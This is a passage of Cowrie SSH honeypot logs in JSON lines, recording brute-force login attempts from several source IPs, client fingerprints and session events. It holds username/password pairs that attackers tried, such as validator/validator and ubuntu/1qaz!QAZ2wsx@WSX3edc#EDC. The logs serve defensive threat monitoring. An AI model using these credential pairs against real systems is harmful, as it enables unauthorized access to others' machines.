@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:30.984099Z","src_ip":"2.57.122.208","session":"336d53db234c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:31.567727Z","src_ip":"2.57.122.208","session":"336d53db234c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:21:32.713332Z","src_ip":"2.57.122.208","session":"336d53db234c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":46870,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab15dac6bd35","protocol":"ssh","message":"New connection: 64.176.195.200:46870 (10.17.0.5:22) [session: ab15dac6bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:22:32.260645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:22:32.264188Z","src_ip":"64.176.195.200","session":"ab15dac6bd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:22:32.267883Z","src_ip":"64.176.195.200","session":"ab15dac6bd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aeternity","password":"AETERNITY","message":"login attempt [aeternity/AETERNITY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:22:32.276443Z","src_ip":"64.176.195.200","session":"ab15dac6bd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:22:33.283720Z","src_ip":"64.176.195.200","session":"ab15dac6bd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45436,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d3bd6f9cab","protocol":"ssh","message":"New connection: 162.120.6.20:45436 (159.203.135.109:22) [session: 30d3bd6f9cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:03.643713Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:03.715510Z","src_ip":"162.120.6.20","session":"30d3bd6f9cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45446,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b623a3602c4","protocol":"ssh","message":"New connection: 162.120.6.20:45446 (159.203.135.109:22) [session: 3b623a3602c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:03.782425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:03.787013Z","src_ip":"162.120.6.20","session":"3b623a3602c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:03.857364Z","src_ip":"162.120.6.20","session":"3b623a3602c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:04.072268Z","src_ip":"162.120.6.20","session":"3b623a3602c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:05.144843Z","src_ip":"162.120.6.20","session":"3b623a3602c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51982,"dst_ip":"159.203.135.109","dst_port":22,"session":"334d9d15c81e","protocol":"ssh","message":"New connection: 2.57.122.208:51982 (159.203.135.109:22) [session: 334d9d15c81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:13.214115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:13.309994Z","src_ip":"2.57.122.208","session":"334d9d15c81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:13.411895Z","src_ip":"2.57.122.208","session":"334d9d15c81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:14.327595Z","src_ip":"2.57.122.208","session":"334d9d15c81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:15.451586Z","src_ip":"2.57.122.208","session":"334d9d15c81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe66dfc5458","protocol":"ssh","message":"New connection: 64.227.144.233:60310 (10.17.0.5:22) [session: ffe66dfc5458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:46.988876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:46.993411Z","src_ip":"64.227.144.233","session":"ffe66dfc5458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:47.204309Z","src_ip":"64.227.144.233","session":"ffe66dfc5458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ngc","password":"ngc2018","message":"login attempt [ngc/ngc2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:47.627597Z","src_ip":"64.227.144.233","session":"ffe66dfc5458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42398,"dst_ip":"10.17.0.5","dst_port":22,"session":"99119f9c75ba","protocol":"ssh","message":"New connection: 2.57.122.208:42398 (10.17.0.5:22) [session: 99119f9c75ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:48.827605Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:48.839878Z","src_ip":"64.227.144.233","session":"ffe66dfc5458","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:48.874599Z","src_ip":"2.57.122.208","session":"99119f9c75ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:48.955654Z","src_ip":"2.57.122.208","session":"99119f9c75ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:49.451207Z","src_ip":"2.57.122.208","session":"99119f9c75ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:23:50.611003Z","src_ip":"2.57.122.208","session":"99119f9c75ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":36634,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e0246bac426","protocol":"ssh","message":"New connection: 2.57.122.96:36634 (159.203.135.109:22) [session: 2e0246bac426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:24:04.115179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:24:04.173170Z","src_ip":"2.57.122.96","session":"2e0246bac426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:24:04.234776Z","src_ip":"2.57.122.96","session":"2e0246bac426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX3edc#EDC","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:24:04.627500Z","src_ip":"2.57.122.96","session":"2e0246bac426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:24:05.735609Z","src_ip":"2.57.122.96","session":"2e0246bac426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35700,"dst_ip":"159.203.135.109","dst_port":22,"session":"73fa62d600fa","protocol":"ssh","message":"New connection: 2.57.122.208:35700 (159.203.135.109:22) [session: 73fa62d600fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:25:30.829598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:25:30.912485Z","src_ip":"2.57.122.208","session":"73fa62d600fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:25:31.012014Z","src_ip":"2.57.122.208","session":"73fa62d600fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:25:31.813647Z","src_ip":"2.57.122.208","session":"73fa62d600fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:25:33.021891Z","src_ip":"2.57.122.208","session":"73fa62d600fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53974,"dst_ip":"10.17.0.5","dst_port":22,"session":"72fade40d548","protocol":"ssh","message":"New connection: 2.57.122.208:53974 (10.17.0.5:22) [session: 72fade40d548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:04.232571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:26:04.393229Z","src_ip":"2.57.122.208","session":"72fade40d548","protocol":"ssh"}
